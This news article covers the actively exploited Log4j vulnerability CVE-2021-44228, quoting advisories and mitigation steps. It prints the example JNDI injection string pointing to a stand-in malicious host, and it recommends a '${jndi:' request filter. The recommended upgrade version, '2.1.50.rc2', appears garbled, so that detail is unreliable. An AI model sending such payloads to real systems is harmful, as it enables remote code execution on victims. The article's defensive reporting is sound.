Critical Vulnerability in Java Logging Library Log4j Is Being Actively Exploited

Security researchers have discovered a new easy-to-exploit zero-day vulnerability in the ubiquitous Java logging library Apache Log4j 2 that could give attackers the ability to execute unauthenticated remote code execution.

The U.S. Cybersecurity and Infrastructure Security Agency, along with dozens of cybersecurity providers, have issued alerts and advisories of the vulnerability, CVE-2021-44228, which they warn is critical and has the potential to impact a large amount of software products.

According to cybersecurity company Huntress Labs, Log4j is used by Apache, Apple iCloud, Steam, Minecraft, Twitter, Tesla and “millions” of others. The firm says attackers are actively exploiting the vulnerability in systems and services that use Apache Log4j between versions 2.0 and 2.14.1.

Because of its large attack surface and the innate severity of remote code execution, security researchers are notably calling this a “shellshock” vulnerability. All threat actors need to trigger an attack is one line of text. There’s no obvious target for this vulnerability—hackers are taking a spray-and-pray approach to wreak havoc.

Huntress Labs also advises organizations using the log4j library to upgrade to 2.1.50.rc2 immediately. A patch has been released, but IT and patch management leaders are at the mercy of vendors to push out updates that completely patch the vulnerability.

What makes this particularly dangerous is the relative simplicity of exploitation, as just a single string of text can trigger an application to reach out to an external location if it is logged via the vulnerable instance of log4j, according to Huntress Labs.

A threat actor might supply special text in an HTTP User-Agent header or a simple POST form request, with the usual form:

${jndi:ldap://maliciousexternalhost.com/resource

…where maliciousexternalhost.com is an instance controlled by the adversary. The log4j vulnerability parses this and reaches out to the malicious host via the “Java Naming and Directory Interface” (JNDI). The first-stage resource acts as a springboard to another attacker-controlled endpoint, which serves Java code to be executed on the original victim.

This gives an attacker the ability to run any code they would like on the target, the company says.

Security software provider Randori Labs also offers a detailed writeup of this flaw, saying default installations of widely used enterprise software are likely vulnerable.

Due to this deployment methodology, the impact is difficult to quantify. Similarly to other high-profile vulnerabilities such as Heartbleed and Shellshock, we believe there will be an increasing number of vulnerable products discovered in the weeks to come. Due to the ease of exploitation and the breadth of applicability, we suspect ransomware actors to begin leveraging this vulnerability immediately.

The company says organizations that think they are impacted should adopt an assumed breach mentality and review logs for unusual activity. The company’s blog post on the issue included a Github page of hashes IT pros should look for in their software inventory.

Organizations should update to the patched versions of Log4j or impacted applications to eliminate the vulnerability, and they should do so immediately.

However, if patching is not possible, Randori offers this mitigation:

To mitigate the vulnerability in place of updating Log4 2j, the following parameter should be set to true when starting the Java Virtual Machine:

log4j2.formatMsgNoLookups;

The presence of JAR files belonging to the log4j library can indicate an application is potentially susceptible to CVE-2021-44228. The specific files to search for should match the following following pattern:

log4j-core-*.jar;

Depending on the installation method, the location of the matching JAR file may also give indications as to which application is potentially vulnerable. For example, on Windows, if the file is located in C:\Program Files\ApplicationName\log4j-core-version.jar it indicates ApplicationName should be investigated. On Linux, the lsof utility can show which processes currently have the JAR file in use and can be run via the following syntax:

lsof /path/to/log4j-core-version.jar;

Currently, detection guidance in the form of regular expression signatures in the public space appear to be overly broad and bypasses have surfaced to circumvent them. Randori recommends filtering inbound requests that contain the string “${jndi:” sent to suspected vulnerable systems.